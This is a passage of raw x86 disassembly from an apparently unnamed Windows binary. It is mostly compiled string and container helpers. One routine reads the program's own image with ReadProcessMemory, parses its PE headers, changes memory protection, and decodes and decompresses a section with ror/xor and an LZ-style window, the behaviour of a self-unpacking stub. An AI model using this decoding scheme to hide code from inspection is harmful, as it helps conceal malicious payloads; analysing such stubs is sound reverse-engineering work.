ptr 0Ch push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, ecx cmp [esi+14h], edi jnb short loc_401B56 call sub_41B9F9 loc_401B56: ; CODE XREF: sub_401B42+Dj mov eax, [esi+14h] sub eax, edi cmp eax, [ebp+arg_4] jnb short loc_401B63 mov [ebp+arg_4], eax loc_401B63: ; CODE XREF: sub_401B42+1Cj cmp [ebp+arg_4], 0 jbe short loc_401BA6 push ebx mov ebx, [esi+18h] cmp ebx, 10h lea ecx, [esi+4] jb short loc_401B79 mov edx, [ecx] jmp short loc_401B7B ; --------------------------------------------------------------------------- loc_401B79: ; CODE XREF: sub_401B42+31j mov edx, ecx loc_401B7B: ; CODE XREF: sub_401B42+35j cmp ebx, 10h pop ebx jb short loc_401B83 mov ecx, [ecx] loc_401B83: ; CODE XREF: sub_401B42+3Dj sub eax, [ebp+arg_4] add edx, edi add edx, [ebp+arg_4] push eax push edx add ecx, edi push ecx call sub_41BFA0 mov eax, [esi+14h] sub eax, [ebp+arg_4] add esp, 0Ch push eax mov ecx, esi call sub_401BAE loc_401BA6: ; CODE XREF: sub_401B42+25j pop edi mov eax, esi pop esi pop ebp retn 8 sub_401B42 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401BAE proc near ; CODE XREF: sub_4017F2+Cp ; sub_401818+Cp ... arg_0 = dword ptr 4 cmp dword ptr [ecx+18h], 10h mov eax, [esp+arg_0] mov [ecx+14h], eax jb short loc_401BC0 mov ecx, [ecx+4] jmp short loc_401BC3 ; --------------------------------------------------------------------------- loc_401BC0: ; CODE XREF: sub_401BAE+Bj add ecx, 4 loc_401BC3: ; CODE XREF: sub_401BAE+10j mov byte ptr [ecx+eax], 0 retn 4 sub_401BAE endp ; =============== S U B R O U T I N E ======================================= sub_401BCA proc near ; CODE XREF: sub_401905+49p ; sub_401AD3+39p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] cmp edi, 0FFFFFFFEh mov esi, ecx jbe short loc_401BDC call sub_41BA51 loc_401BDC: ; CODE XREF: sub_401BCA+Bj cmp [esi+18h], edi jnb short loc_401BEE push dword ptr [esi+14h] mov ecx, esi push edi call sub_401E8E jmp short loc_401C1B ; --------------------------------------------------------------------------- loc_401BEE: ; CODE XREF: sub_401BCA+15j cmp [esp+8+arg_4], 0 jz short loc_401C0F cmp edi, 10h jnb short loc_401C0F mov eax, [esi+14h] cmp edi, eax jnb short loc_401C03 mov eax, edi loc_401C03: ; CODE XREF: sub_401BCA+35j push eax push 1 mov ecx, esi call sub_4019B1 jmp short loc_401C1B ; --------------------------------------------------------------------------- loc_401C0F: ; CODE XREF: sub_401BCA+29j ; sub_401BCA+2Ej test edi, edi jnz short loc_401C1B push edi mov ecx, esi call sub_401BAE loc_401C1B: ; CODE XREF: sub_401BCA+22j ; sub_401BCA+43j ... xor eax, eax cmp eax, edi sbb eax, eax pop edi neg eax pop esi retn 8 sub_401BCA endp ; =============== S U B R O U T I N E ======================================= sub_401C28 proc near ; CODE XREF: sub_401A10+2Ap mov eax, offset loc_427C9F call sub_41E550 sub esp, 20h push ebx push esi mov esi, [ebp+8] push edi mov edi, [ebp+10h] mov [ebp-10h], esp push dword ptr [ebp+14h] lea ecx, [ebp-2Ch] call sub_4017F2 and dword ptr [ebp-4], 0 mov eax, esi call sub_4019FA test edi, edi mov ebx, eax jz loc_401E16 mov eax, esi call sub_4018AC mov ecx, 9249249h sub ecx, eax cmp ecx, edi jnb short loc_401C78 call sub_40C38F loc_401C78: ; CODE XREF: sub_401C28+49j mov eax, esi call sub_4018AC add eax, edi cmp ebx, eax jnb loc_401D55 mov eax, ebx shr eax, 1 mov ecx, 9249249h sub ecx, eax cmp ecx, ebx jnb short loc_401C9C xor ebx, ebx jmp short loc_401C9E ; --------------------------------------------------------------------------- loc_401C9C: ; CODE XREF: sub_401C28+6Ej add ebx, eax loc_401C9E: ; CODE XREF: sub_401C28+72j mov eax, esi call sub_4018AC add eax, edi cmp ebx, eax jnb short loc_401CB6 mov eax, esi call sub_4018AC mov ebx, eax add ebx, edi loc_401CB6: ; CODE XREF: sub_401C28+81j imul ebx, 1Ch push ebx call sub_41BA91 mov byte ptr [ebp-4], 1 push dword ptr [ebp+0Ch] mov ecx, [esi+4] push eax push dword ptr [ebp+0Ch] mov [ebp+8], eax mov [ebp+10h], eax call sub_402138 add esp, 10h lea ecx, [ebp-2Ch] push ecx push edi push eax push esi mov [ebp+10h], eax call sub_401AAF push dword ptr [ebp+0Ch] mov ecx, [ebp+0Ch] mov [ebp+10h], eax mov eax, [esi+8] push dword ptr [ebp+10h] push eax call sub_402138 add esp, 0Ch mov eax, esi call sub_4018AC add edi, eax mov eax, [esi+4] test eax, eax jz short loc_401D24 push dword ptr [esi+8] call sub_401FDF push dword ptr [esi+4] call sub_41C7B8 pop ecx pop ecx loc_401D24: ; CODE XREF: sub_401C28+E8j mov eax, [ebp+8] imul edi, 1Ch add ebx, eax add edi, eax mov [esi+0Ch], ebx mov [esi+8], edi mov [esi+4], eax jmp loc_401E16 ; --------------------------------------------------------------------------- loc_401D3C: ; DATA XREF: .text:00431AD4o push dword ptr [ebp+10h] mov eax, [ebp+8] call sub_401FDF push dword ptr [ebp+8] call sub_41C7B8 pop ecx jmp loc_401DDA ; --------------------------------------------------------------------------- loc_401D55: ; CODE XREF: sub_401C28+5Bj mov ecx, [esi+8] mov eax, ecx sub eax, [ebp+0Ch] push 1Ch cdq pop ebx idiv ebx push dword ptr [ebp+0Ch] mov [ebp+14h], ecx cmp eax, edi jnb short loc_401DE4 mov edx, [ebp+0Ch] mov ebx, edi imul ebx, 1Ch lea eax, [ebx+edx] push eax push ecx mov ecx, edx call sub_402138 add esp, 0Ch mov byte ptr [ebp-4], 3 mov eax, [esi+8] sub eax, [ebp+0Ch] lea ecx, [ebp-2Ch] push ecx push 1Ch pop ecx cdq idiv ecx sub edi, eax push edi push dword ptr [esi+8] push esi call sub_401AAF and dword ptr [ebp-4], 0 add [esi+8], ebx mov esi, [esi+8] lea eax, [ebp-2Ch] push eax mov eax, [ebp+0Ch] sub esi, ebx push esi call sub_401FF7 pop ecx pop ecx jmp short loc_401E16 ; --------------------------------------------------------------------------- loc_401DC1: ; DATA XREF: .text:00431AE4o mov eax, [ebp+10h] mov ecx, [ebp+8] imul eax, 1Ch mov ecx, [ecx+8] add ecx, eax push ecx mov ecx, [ebp+0Ch] add eax, ecx call sub_401FDF loc_401DDA: ; CODE XREF: sub_401C28+128j pop ecx push 0 push 0 call sub_41E4BE loc_401DE4: ; CODE XREF: sub_401C28+143j imul edi, 1Ch mov ebx, ecx push ecx sub ebx, edi push ecx mov ecx, ebx call sub_402138 push dword ptr [ebp+14h] mov [esi+8], eax mov esi, [ebp+0Ch] push esi mov eax, ebx call sub_402016 lea eax, [ebp-2Ch] push eax add edi, esi push edi mov eax, esi call sub_401FF7 add esp, 1Ch loc_401E16: ; CODE XREF: sub_401C28+33j ; sub_401C28+10Fj ... push 0 push 1 lea ecx, [ebp-2Ch] call sub_4019B1 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 10h sub_401C28 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_401E4B mov dword ptr [esi], offset off_429478 mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_401E4B proc near ; CODE XREF: .text:00401E3Ap ; sub_41B9F9+47p mov eax, offset loc_427A01 call sub_41E550 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_41C80B and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_42946C call sub_4017F2 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_401E4B endp ; =============== S U B R O U T I N E ======================================= sub_401E8E proc near ; CODE XREF: sub_401BCA+1Dp mov eax, offset loc_4279EF call sub_41E550 sub esp, 0Ch push ebx push esi mov esi, [ebp+8] push edi or esi, 0Fh cmp esi, 0FFFFFFFEh mov edi, ecx mov [ebp-10h], esp mov [ebp-18h], edi jbe short loc_401EB6 mov esi, [ebp+8] jmp short loc_401EDB ; --------------------------------------------------------------------------- loc_401EB6: ; CODE XREF: sub_401E8E+21j xor edx, edx push 3 mov eax, esi pop ebx div ebx mov ecx, [edi+18h] mov [ebp-14h], ecx shr dword ptr [ebp-14h], 1 mov edx, [ebp-14h] cmp eax, edx jnb short loc_401EDB push 0FFFFFFFEh pop eax sub eax, edx cmp ecx, eax ja short loc_401EDB lea esi, [edx+ecx] loc_401EDB: ; CODE XREF: sub_401E8E+26j ; sub_401E8E+3Fj ... and dword ptr [ebp-4], 0 lea eax, [esi+1] push eax call sub_41BA91 pop ecx mov ebx, eax jmp short loc_401F14 ; --------------------------------------------------------------------------- loc_401EED: ; DATA XREF: .text:004313B0o mov eax, [ebp+8] mov [ebp+8], eax inc eax mov [ebp-10h], esp push eax mov byte ptr [ebp-4], 2 call sub_41BA91 mov [ebp-14h], eax pop ecx mov eax, offset loc_401F0B retn ; --------------------------------------------------------------------------- loc_401F0B: ; DATA XREF: sub_401E8E+77o mov edi, [ebp-18h] mov esi, [ebp+8] mov ebx, [ebp-14h] loc_401F14: ; CODE XREF: sub_401E8E+5Dj cmp dword ptr [ebp+0Ch], 0 jbe short loc_401F35 cmp dword ptr [edi+18h], 10h jb short loc_401F25 mov eax, [edi+4] jmp short loc_401F28 ; --------------------------------------------------------------------------- loc_401F25: ; CODE XREF: sub_401E8E+90j lea eax, [edi+4] loc_401F28: ; CODE XREF: sub_401E8E+95j push dword ptr [ebp+0Ch] push eax push ebx call sub_41BC60 add esp, 0Ch loc_401F35: ; CODE XREF: sub_401E8E+8Aj push 0 push 1 mov ecx, edi call sub_4019B1 push dword ptr [ebp+0Ch] mov ecx, edi mov [edi+4], ebx mov [edi+18h], esi call sub_401BAE mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_401E8E endp ; =============== S U B R O U T I N E ======================================= sub_401F61 proc near ; DATA XREF: .text:004313A0o mov ecx, [ebp-18h] xor esi, esi push esi push 1 call sub_4019B1 push esi push esi call sub_41E4BE int 3 ; Trap to Debugger sub_401F61 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401F76 proc near ; CODE XREF: sub_401AD3+Bp arg_0 = dword ptr 4 push esi mov esi, [ecx+18h] cmp esi, 10h lea eax, [ecx+4] jb short loc_401F86 mov edx, [eax] jmp short loc_401F88 ; --------------------------------------------------------------------------- loc_401F86: ; CODE XREF: sub_401F76+Aj mov edx, eax loc_401F88: ; CODE XREF: sub_401F76+Ej cmp [esp+4+arg_0], edx jb short loc_401FA4 cmp esi, 10h jb short loc_401F95 mov eax, [eax] loc_401F95: ; CODE XREF: sub_401F76+1Bj mov ecx, [ecx+14h] add ecx, eax cmp ecx, [esp+4+arg_0] jbe short loc_401FA4 mov al, 1 jmp short loc_401FA6 ; --------------------------------------------------------------------------- loc_401FA4: ; CODE XREF: sub_401F76+16j ; sub_401F76+28j xor al, al loc_401FA6: ; CODE XREF: sub_401F76+2Cj pop esi retn 4 sub_401F76 endp ; =============== S U B R O U T I N E ======================================= sub_401FAA proc near ; CODE XREF: sub_401844+36p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_0] push [esp+4+arg_C] push [esp+8+arg_8] push [esp+0Ch+arg_4] call sub_40202D add esp, 10h retn 10h sub_401FAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FC5 proc near ; CODE XREF: sub_401AAF+Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402047 add esp, 10h leave retn sub_401FC5 endp ; =============== S U B R O U T I N E ======================================= sub_401FDF proc near ; CODE XREF: sub_401A89+Ap ; sub_401C28+EDp ... arg_0 = dword ptr 4 push esi mov esi, eax jmp short loc_401FEF ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401FDF+14j push 0 push esi call sub_4021C2 add esi, 1Ch loc_401FEF: ; CODE XREF: sub_401FDF+3j cmp esi, [esp+4+arg_0] jnz short loc_401FE4 pop esi retn sub_401FDF endp ; =============== S U B R O U T I N E ======================================= sub_401FF7 proc near ; CODE XREF: sub_401C28+190p ; sub_401C28+1E6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, eax jmp short loc_40200E ; --------------------------------------------------------------------------- loc_401FFC: ; CODE XREF: sub_401FF7+1Bj push 0FFFFFFFFh push 0 push [esp+0Ch+arg_4] mov ecx, esi call sub_401905 add esi, 1Ch loc_40200E: ; CODE XREF: sub_401FF7+3j cmp esi, [esp+4+arg_0] jnz short loc_401FFC pop esi retn sub_401FF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402016 proc near ; CODE XREF: sub_401C28+1D8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_4020A9 add esp, 0Ch leave retn sub_402016 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40202D proc near ; CODE XREF: sub_401FAA+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4020D3 add esp, 10h leave retn sub_40202D endp ; =============== S U B R O U T I N E ======================================= sub_402047 proc near ; CODE XREF: sub_401FC5+10p mov eax, offset loc_427B74 call sub_41E550 push ecx push ecx mov eax, [ebp+8] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-14h], eax loc_402063: ; CODE XREF: sub_402047+35j cmp dword ptr [ebp+0Ch], 0 jbe short loc_40209A push dword ptr [ebp+10h] mov ecx, [ebp+8] call sub_40219C dec dword ptr [ebp+0Ch] add dword ptr [ebp+8], 1Ch pop ecx jmp short loc_402063 ; --------------------------------------------------------------------------- loc_40207E: ; DATA XREF: .text:004315F4o mov esi, [ebp-14h] jmp short loc_40208C ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_402047+4Aj push esi call sub_4021C2 add esi, 1Ch loc_40208C: ; CODE XREF: sub_402047+3Aj cmp esi, [ebp+8] push 0 jnz short loc_402083 push 0 call sub_41E4BE loc_40209A: ; CODE XREF: sub_402047+20j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_402047 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020A9 proc near ; CODE XREF: sub_402016+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, eax cmp [ebp+arg_0], esi jz short loc_4020CD loc_4020B4: ; CODE XREF: sub_4020A9+22j sub [ebp+arg_4], 1Ch mov ecx, [ebp+arg_4] push 0FFFFFFFFh push 0 sub esi, 1Ch push esi call sub_401905 cmp esi, [ebp+arg_0] jnz short loc_4020B4 loc_4020CD: ; CODE XREF: sub_4020A9+9j mov eax, [ebp+arg_4] pop esi pop ebp retn sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= sub_4020D3 proc near ; CODE XREF: sub_40202D+10p mov eax, offset loc_427C7B call sub_41E550 push ecx push ecx mov eax, [ebp+10h] and dword ptr [ebp-4], 0 push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov [ebp-14h], eax loc_4020F2: ; CODE XREF: sub_4020D3+35j cmp esi, [ebp+0Ch] jz short loc_402126 mov ecx, [ebp+10h] push esi call sub_40219C add dword ptr [ebp+10h], 1Ch pop ecx add esi, 1Ch jmp short loc_4020F2 ; --------------------------------------------------------------------------- loc_40210A: ; DATA XREF: .text:00431A6Co mov esi, [ebp-14h] jmp short loc_402118 ; --------------------------------------------------------------------------- loc_40210F: ; CODE XREF: sub_4020D3+4Aj push esi call sub_4021C2 add esi, 1Ch loc_402118: ; CODE XREF: sub_4020D3+3Aj cmp esi, [ebp+10h] push 0 jnz short loc_40210F push 0 call sub_41E4BE loc_402126: ; CODE XREF: sub_4020D3+22j mov ecx, [ebp-0Ch] mov eax, [ebp+10h] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_4020D3 endp ; =============== S U B R O U T I N E ======================================= sub_402138 proc near ; CODE XREF: sub_401C28+ABp ; sub_401C28+D2p ... mov eax, offset loc_427C71 call sub_41E550 push ecx push ecx mov eax, [ebp+0Ch] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov esi, ecx mov [ebp-14h], eax loc_402156: ; CODE XREF: sub_402138+34j cmp esi, [ebp+8] jz short loc_40218A mov ecx, [ebp+0Ch] push esi call sub_40219C add dword ptr [ebp+0Ch], 1Ch pop ecx add esi, 1Ch jmp short loc_402156 ; --------------------------------------------------------------------------- loc_40216E: ; DATA XREF: .text:00431A1Co mov esi, [ebp-14h] jmp short loc_40217C ; --------------------------------------------------------------------------- loc_402173: ; CODE XREF: sub_402138+49j push esi call sub_4021C2 add esi, 1Ch loc_40217C: ; CODE XREF: sub_402138+39j cmp esi, [ebp+0Ch] push 0 jnz short loc_402173 push 0 call sub_41E4BE loc_40218A: ; CODE XREF: sub_402138+21j mov ecx, [ebp-0Ch] mov eax, [ebp+0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_402138 endp ; =============== S U B R O U T I N E ======================================= sub_40219C proc near ; CODE XREF: sub_402047+28p ; sub_4020D3+28p ... mov eax, offset loc_427B6A call sub_41E550 and dword ptr [ebp-4], 0 test ecx, ecx jz short loc_4021B6 push dword ptr [ebp+8] call sub_4017F2 loc_4021B6: ; CODE XREF: sub_40219C+10j mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn sub_40219C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4021C2 proc near ; CODE XREF: sub_401FDF+8p ; sub_402047+3Dp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov ecx, [esp+arg_0] push 0 push 1 call sub_4019B1 test [esp+arg_4], 1 jz short loc_4021E0 push [esp+arg_0] call sub_41C7B8 pop ecx loc_4021E0: ; CODE XREF: sub_4021C2+12j mov eax, [esp+arg_0] retn 8 sub_4021C2 endp ; =============== S U B R O U T I N E ======================================= sub_4021E7 proc near ; CODE XREF: sub_4026BD+B8p ; sub_4026BD+CAp ... arg_0 = byte ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push ebx mov bl, cl mov ecx, [edi] push esi lea esi, [ecx+edx] mov cl, [eax] mov dl, bl shl dl, cl movzx ecx, [esp+8+arg_0] or [esi], dl mov edx, [eax] add ecx, edx cmp ecx, 8 mov [eax], ecx jl short loc_402222 inc dword ptr [edi] add dword ptr [eax], 0FFFFFFF8h jz short loc_402222 mov eax, [edi] mov cl, 8 sub cl, dl shr bl, cl mov ecx, [esp+8+arg_4] mov [ecx+eax], bl loc_402222: ; CODE XREF: sub_4021E7+23j ; sub_4021E7+2Aj pop esi pop ebx retn sub_4021E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402225 proc near ; CODE XREF: sub_402382+276p ; sub_402382+285p ... var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx movzx edx, [ebp+arg_0] mov ecx, [esi] push ebx mov ebx, eax lea eax, [ecx+edx] cmp eax, 8 push edi mov [ebp+var_8], eax jle short loc_402245 mov al, 8 sub al, cl jmp short loc_402247 ; --------------------------------------------------------------------------- loc_402245: ; CODE XREF: sub_402225+18j mov al, dl loc_402247: ; CODE XREF: sub_402225+1Ej mov edi, [ebx] mov edx, [ebp+arg_4] mov dl, [edi+edx] xor ecx, ecx mov cl, 8 sub cl, [esi] sub cl, al shl dl, cl mov cl, 8 sub cl, al shr dl, cl mov ecx, [ebp+var_8] cmp ecx, 8 mov [ebp+var_1], dl jl short loc_402295 lea edx, [edi+1] mov [ebx], edx mov bl, [ebp+arg_0] sub bl, al mov eax, [ebp+arg_4] mov al, [edx+eax] mov dl, [ebp+var_1] xor ecx, ecx mov cl, 8 sub cl, bl shl al, cl mov cl, 8 sub cl, [ebp+arg_0] shr al, cl or dl, al movsx eax, bl mov [esi], eax jmp short loc_402297 ; --------------------------------------------------------------------------- loc_402295: ; CODE XREF: sub_402225+43j mov [esi], ecx loc_402297: ; CODE XREF: sub_402225+6Ej pop edi mov al, dl pop ebx leave retn sub_402225 endp ; =============== S U B R O U T I N E ======================================= sub_40229D proc near ; CODE XREF: sub_4026BD+16p push edi mov [esi+8], edi call sub_41BAB5 push edi push 0 push eax mov [esi], eax call sub_41C6D0 add esp, 10h xor eax, eax mov ecx, 100h loc_4022BB: ; CODE XREF: sub_40229D+26j mov edx, [esi] mov [eax+edx], al inc eax cmp eax, ecx jb short loc_4022BB mov [esi+4], ecx mov eax, esi retn sub_40229D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022CB proc near ; CODE XREF: sub_4026BD+A4p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h xor eax, eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov edx, [eax] mov ecx, edi neg ecx push esi loc_4022E6: ; CODE XREF: sub_4022CB+6Ej mov al, [edi] mov esi, [ebp+var_4] cmp [edx+esi], al jnz short loc_40232E xor eax, eax inc eax cmp [ebx], eax mov [ebp+var_8], eax mov [ebp+arg_0], eax jbe short loc_40231D lea esi, [edi+1] loc_402300: ; CODE XREF: sub_4022CB+50j lea eax, [ecx+esi] and eax, 7FFh mov al, [eax+edx] cmp al, [esi] jnz short loc_40231D inc [ebp+var_8] inc [ebp+arg_0] mov eax, [ebp+arg_0] inc esi cmp eax, [ebx] jb short loc_402300 loc_40231D: ; CODE XREF: sub_4022CB+30j ; sub_4022CB+42j mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jbe short loc_40232E mov [ebp+var_C], eax mov eax, [ebp+var_4] mov [ebp+var_10], eax loc_40232E: ; CODE XREF: sub_4022CB+23j ; sub_4022CB+58j inc [ebp+var_4] inc ecx cmp [ebp+var_4], 7F8h jb short loc_4022E6 mov eax, [ebp+var_C] mov [ebx], eax mov eax, [ebp+var_10] pop esi leave retn 4 sub_4022CB endp ; =============== S U B R O U T I N E ======================================= sub_402348 proc near ; CODE XREF: sub_4026BD+F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor ecx, ecx cmp [esp+arg_4], ecx jbe short locret_40237F push ebx push esi push edi loc_402353: ; CODE XREF: sub_402348+32j mov edi, [esp+0Ch+arg_0] mov edx, [eax+4] mov bl, [ecx+edi] mov esi, [eax] mov [edx+esi], bl inc dword ptr [eax+4] cmp dword ptr [eax+4], 800h jb short loc_402375 mov dword ptr [eax+4], 100h loc_402375: ; CODE XREF: sub_402348+24j inc ecx cmp ecx, [esp+0Ch+arg_4] jb short loc_402353 pop edi pop esi pop ebx locret_40237F: ; CODE XREF: sub_402348+6j retn 8 sub_402348 endp ; =============== S U B R O U T I N E ======================================= sub_402382 proc near ; CODE XREF: sub_402AC9+23p mov eax, offset loc_4279D3 call sub_41E550 sub esp, 0A84h push esi xor esi, esi cmp [ebp+0Ch], esi push edi jnz short loc_402409 push 104h lea eax, [ebp-290h] push eax push esi call ds:dword_4290B8 ; GetModuleFileNameA or dword ptr [ebp+0Ch], 0FFFFFFFFh push 80h push 4 push 3 push 80000000h lea eax, [ebp-290h] push eax lea eax, [ebp+0Ch] mov [ebp-4], esi call sub_405CAD push esi push dword ptr [ebp+0Ch] call ds:dword_4291BC ; GetFileSize mov edi, eax push edi call sub_41BAB5 pop ecx mov ecx, [ebp+8] push edi push eax mov [ecx], eax lea eax, [ebp+0Ch] push eax call sub_405D1D lea esi, [ebp+0Ch] call sub_405CF2 call sub_405CF2 mov eax, edi jmp loc_4026AF ; --------------------------------------------------------------------------- loc_402409: ; CODE XREF: sub_402382+17j call ds:dword_4290A4 ; GetCurrentProcess push esi mov [ebp+0Ch], eax call ds:dword_4290BC ; GetModuleHandleA mov esi, ds:dword_4290AC mov edi, eax lea eax, [ebp-20h] push eax push 40h lea eax, [ebp-94h] push eax push edi push dword ptr [ebp+0Ch] mov [ebp-1Ch], edi call esi ; ReadProcessMemory cmp word ptr [ebp-94h], 5A4Dh jz short loc_402449 xor eax, eax jmp loc_4026AF ; --------------------------------------------------------------------------- loc_402449: ; CODE XREF: sub_402382+BEj mov eax, [ebp-58h] push ebx add edi, eax lea eax, [ebp-20h] push eax mov ebx, 0F8h push ebx lea eax, [ebp-18Ch] push eax push edi push dword ptr [ebp+0Ch] call esi ; ReadProcessMemory cmp dword ptr [ebp-18Ch], 4550h jz short loc_402479 xor eax, eax jmp loc_4026AE ; --------------------------------------------------------------------------- loc_402479: ; CODE XREF: sub_402382+EEj movzx eax, word ptr [ebp-186h] lea eax, [eax+eax*4] shl eax, 3 add edi, ebx mov ebx, [ebp-138h] push eax mov [ebp-14h], ebx call sub_41BAB5 and dword ptr [ebp-10h], 0 cmp word ptr [ebp-186h], 0 pop ecx mov [ebp-38h], eax jbe short loc_4024DA mov [ebp-14h], eax loc_4024AC: ; CODE XREF: sub_402382+153j lea eax, [ebp-20h] push eax push 28h push dword ptr [ebp-14h] push edi push dword ptr [ebp+0Ch] call esi ; ReadProcessMemory mov eax, [ebp-14h] add ebx, [eax+10h] movzx eax, word ptr [ebp-186h] add dword ptr [ebp-14h], 28h add edi, 28h inc dword ptr [ebp-10h] cmp [ebp-10h], eax jb short loc_4024AC mov [ebp-14h], ebx loc_4024DA: ; CODE XREF: sub_402382+125j mov ebx, [edi] mov edi, [edi+4] add ebx, [ebp-1Ch] push edi mov [ebp-48h], edi call sub_41BAB5 mov [ebp-28h], eax mov eax, [ebp-14h] add eax, 64h push eax call sub_41BAB5 push dword ptr [ebp-14h] mov edi, eax push 0 push edi mov [ebp-24h], edi call sub_41C6D0 mov eax, [ebp+8] add esp, 14h mov [eax], edi mov edi, ds:dword_4290C0 lea eax, [ebp-30h] push eax push 4 push dword ptr [ebp-138h] push dword ptr [ebp-1Ch] call edi ; VirtualProtect lea eax, [ebp-20h] push eax push dword ptr [ebp-138h] push dword ptr [ebp-24h] push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] call esi ; ReadProcessMemory lea eax, [ebp-30h] push eax push 4 push dword ptr [ebp-48h] push ebx call edi ; VirtualProtect mov edi, [ebp-48h] lea eax, [ebp-20h] push eax push edi push dword ptr [ebp-28h] push ebx push dword ptr [ebp+0Ch] call esi ; ReadProcessMemory mov ax, [ebp-146h] xor esi, esi cmp edi, esi mov [ebp-15h], ah mov [ebp+0Fh], al mov [ebp-10h], esi jbe short loc_40258F loc_402571: ; CODE XREF: sub_402382+209j mov eax, [ebp-28h] mov ebx, [ebp-10h] add ebx, eax mov al, [ebx] mov cl, [ebp-15h] ror al, cl xor al, [ebp+0Fh] mov [ebx], al inc dword ptr [ebp-10h] cmp [ebp-10h], edi jb short loc_402571 xor esi, esi loc_40258F: ; CODE XREF: sub_402382+1EDj push 800h lea eax, [ebp-0A90h] push esi push eax call sub_41C6D0 add esp, 0Ch xor eax, eax mov ecx, 100h loc_4025AB: ; CODE XREF: sub_402382+233j mov [ebp+eax-0A90h], al inc eax cmp eax, ecx jb short loc_4025AB mov eax, [ebp-138h] push edi mov edi, [ebp-24h] add eax, edi push esi push eax mov [ebp+0Ch], ecx call sub_41C6D0 mov eax, [ebp-138h] mov ecx, [ebp-14h] add esp, 0Ch sub ecx, eax mov [ebp-10h], eax mov [ebp-2Ch], esi mov [ebp-1Ch], esi mov [ebp-24h], esi jz loc_402699 loc_4025ED: ; CODE XREF: sub_402382+311j push dword ptr [ebp-28h] lea esi, [ebp-1Ch] push 8 lea eax, [ebp-2Ch] call sub_402225 push dword ptr [ebp-28h] mov bl, al push 3 lea eax, [ebp-2Ch] call sub_402225 push dword ptr [ebp-28h] xor ecx, ecx mov ch, al push 3 lea eax, [ebp-2Ch] mov cl, bl mov ebx, ecx call sub_402225 add esp, 18h test al, al jnz short loc_40262A add al, 8 loc_40262A: ; CODE XREF: sub_402382+2A4j mov ecx, [ebp-10h] movzx eax, al mov [ebp-34h], ecx xor ecx, ecx test eax, eax jbe short loc_402654 movzx esi, bx lea esi, [ebp+esi-0A90h] loc_402643: ; CODE XREF: sub_402382+2D0j mov ebx, [ebp-10h] mov dl, [esi+ecx] inc dword ptr [ebp-10h] inc ecx cmp ecx, eax mov [ebx+edi], dl jb short loc_402643 loc_402654: ; CODE XREF: sub_402382+2B5j xor esi, esi test eax, eax jbe short loc_402684 mov ecx, [ebp-34h] add ecx, edi loc_40265F: ; CODE XREF: sub_402382+300j mov ebx, [ebp+0Ch] mov dl, [ecx+esi] inc dword ptr [ebp+0Ch] cmp dword ptr [ebp+0Ch], 800h mov [ebp+ebx-0A90h], dl jnz short loc_40267F mov dword ptr [ebp+0Ch], 100h loc_40267F: ; CODE XREF: sub_402382+2F4j inc esi cmp esi, eax jb short loc_40265F loc_402684: ; CODE XREF: sub_402382+2D6j add 